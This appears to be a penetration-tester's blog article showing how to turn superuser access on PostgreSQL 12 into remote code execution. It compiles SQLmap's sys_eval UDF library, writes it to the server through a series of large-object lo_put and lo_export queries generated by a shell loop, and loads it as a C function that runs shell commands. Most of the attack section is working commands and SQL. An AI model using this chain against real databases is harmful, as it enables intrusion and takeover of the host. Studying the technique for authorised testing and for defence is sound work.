Purpose of this short research was to determine possible solution to escalate from PostgreSQL privileged access to Code execution. PostgreSQL is known for its powerful file system interaction capabilities, however, the last version of it where SQLmap allowed to execute code was version 9, which was released before 2017. During penetration testing / security assessments, it is very likely that if you encounter a PostgreSQL database, it will be newer (as of 2020, current version is 12.x), which might lower your chances of executing code on the underlying operating system. Below screenshots show exploitation attempts on latest PostgreSQL 12 using SQLmap.
In May, 2020, an interesting article has been released. It explained how turn an PostgreSQL SQL injection into a RCE, assuming that
· Injection allows for reliable exploitation due to possibility of injecting a nested query
· The database user has superuser rights
The article can be found here https://pulsesecurity.co.nz/articles/postgres-sqli and the described technique takes advantage of PostgreSQL filesystem read/write capabilities to save a malicious postgresql.conf file.
In this article, I will show you another way to execute code on a remote PostgreSQL database — by bringing not-so-old UDF technique back to life.
Before we start, I will shortly introduce just the described injection type as it will justify the latter flow of the article. If you read article linked above which also relies on PostgreSQL’ write primitive, it presents the security issue from SQL injection standpoint, and that injection is exploitable using curl:
ERROR: invalid input syntax for type numeric: “ PostgreSQL 11.7 (Debian 11.7–0+deb10u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0–6) 8.3.0, 64-bit”
As you can see, the SQL injection bug is error-based exploitable. Moreover, it allows to execute a fully formatted subquery within the injected part, which technically has almost the same impact as interacting with a pure PostgreSQL database. Thus, in this article, we will not use SQL injection attack vector — instead, we will use direct connection to PostgreSQL instance for simplicity. SQL injections can occur in different variants, but if you get the idea of injecting a subquery, regardless your SQL injection will look like the aforementioned example or not, the technique described below can be split into injection subqueries and applied.
It is very likely that you have already heard about Raptor UDF (User-Defined Function) exploit (https://www.exploit-db.com/exploits/1518) which allows to execute code on a system where MySQL database is running. MySQL is written in C and C++ and it utilizes shared libraries to import functions from them, so the exploit is really about being a shared library that allows the database it is being used by to utilize its do_system() function (which executes shell commands).
PostgreSQL is written in C and it also utilizes shared libraries. Thus, UDF technique is also applicable to PostgreSQL, and it was supported by SQLmap until version 10 as shown previously. Luckily, maintainers of SQLmap GitHub repository preserved the files used for the UDF code execution method. Let’s try to compile a shared library for PostgreSQL. We will be using a Kali 2019.4 64-bit.
First, Postgres12 will be installed on our local (attacker) machine. It can be done using command
sudo apt-get install postgresql-12 postgresql-server-dev-12 postgresql-client-12 -y
To check whether installation is successful, issue two commands:
psql –version and pg_config — includedir-server
Now, we can download the aforementioned UDF libraries. Simply, use command
Proceed to the folder shown in below screenshot where lib_postgresqludf_sys.c is stored and execute gcc command:
gcc lib_postgresqludf_sys.c -I`pg_config — includedir-server` -fPIC -shared -o udf64.so
Since we’ve installed PostgreSQL server while ago, let’s check if the library works as expected
create or replace function exec(char) returns char as \ ‘/tmp/udfhack/linux/lib_postgresqludf_sys/udf64.so’,’sys_eval’ language c strict;
You can find the actual implementation details in the .c file that is compiled.
Note, that SQLmap’s implementation could be altered to decrease the size of the resulting file so it just contains that one function we need. The reason for not doing it is again convenience. The C extensions for PostgreSQL databases have to follow some specific standards related to Postgres headers, so recompilation and altering the source code might need to go through some compiler errors.
As you can see, it is possible to execute code locally using the UDF library, however, in a remote scenario we will need a file transfer capability in order to transfer the precompiled library to the victim system. This can be done with a little abuse of PostgreSQL features.
Abusing Postgres’ Large Objects
PostgreSQL databases utilize a special feature called Large Objects. In short, this mechanism allows storing very large portions of data in the database, and moreover, that data can be also exported to the underlying filesystem. You can read more about large objects here: https://www.postgresql.org/docs/12/largeobjects.html
Large objects can consist of bytes which can be later exported to a file. Consider following example of writing a file:
select loid from pg_largeobject; // Allows to check if there are already any objects stored in the database.
Currently there are no objects in the database, which is good, as they will not malform the file we want to be written. In case any result is returned, the object corresponding to result can be easily deleted when referenced by its loid using query:
select lo_unlink(16388); //exemplary loid
As the large object table is now empty, we can create it using :
select lo_creat(-1); //this will return ID of newly created object
Next, the loid can be used to write binary data to disk. We will use sequence of queries to write some bytes to a file:
select lo_put(32769, 0, ‘\x41424344’);
select lo_put(32769, 4, ‘\x45464748’);
select lo_put(32769, 8, ‘\x494a4b4c’);
lo_put requires loid as the first argument and offset within the object as second argument. As we want to write the series of bytes one after another, the offset is increased with each subsequent query.
In the end, we perform query
select lo_export(32769, ‘/tmp/largeobject.txt’);
Putting it together
At this point, we have capability of creating and importing a custom library that allows us to execute code on system as well as possibility to turn byte arrays into binary files on disk. Thus, in order to perform a remote code execution on a Postgres database, we will:
· Connect to a remote PostgreSQL 12 instance as privileged user
· Create a large object and get its ID
· Split udf.so into bytes and create a serie of lo_put queries
· Export the large object
· Load the library and execute code
First, we will transform the library into bytes:
xxd -p udf64.so | tee udf.txt
while read line; do echo “select lo_put(PLACEHOLDER, $x, ‘\\x$line’);” >> \ u.psql; x=$((x+30)); done < udf.txt
Currently, the u.psql file contains a sequence of lo_put with an undefined ID (will replace placeholder with real LOID as soon as it’s known). Since each line is 30 bytes (60 characters, each two characters describe one byte’s hex value) long, offset is increased by 30 in each query. Having the u.psql file ready, we can now connect to remote database instance and prepare large object:
As objects are cleared, we can now create the object:
Now we know the object’s id, so we can change PLACEHOLDER value in u.psql file to 24588
And run the file using psql -f utility. Note, that in case of an SQL injection scenario, you would rather need to run a sequence of curl commands, but in the end the logic behind is the same.
psql -h 192.168.139.148 -p 5431 -U myuser -d mydb -f \ /tmp/udfhack/linux/lib_postgresqludf_sys/u.psql
As the inserts are done, we connect to the base once again in order to execute export.
select lo_export(24588, ‘/tmp/exploit.so’);
create or replace function exec(char) returns char as ‘/tmp/exploit.so’,’sys_eval’ language c strict;
As you can see, it was possible to remotely execute code on PostgreSQL 12 database. Note, that this technique has been tested just for PostgreSQL 12, but it is very likely that the same can be done to versions 10 or 11 which are also not supported by SQLmap’s –os-shell feature.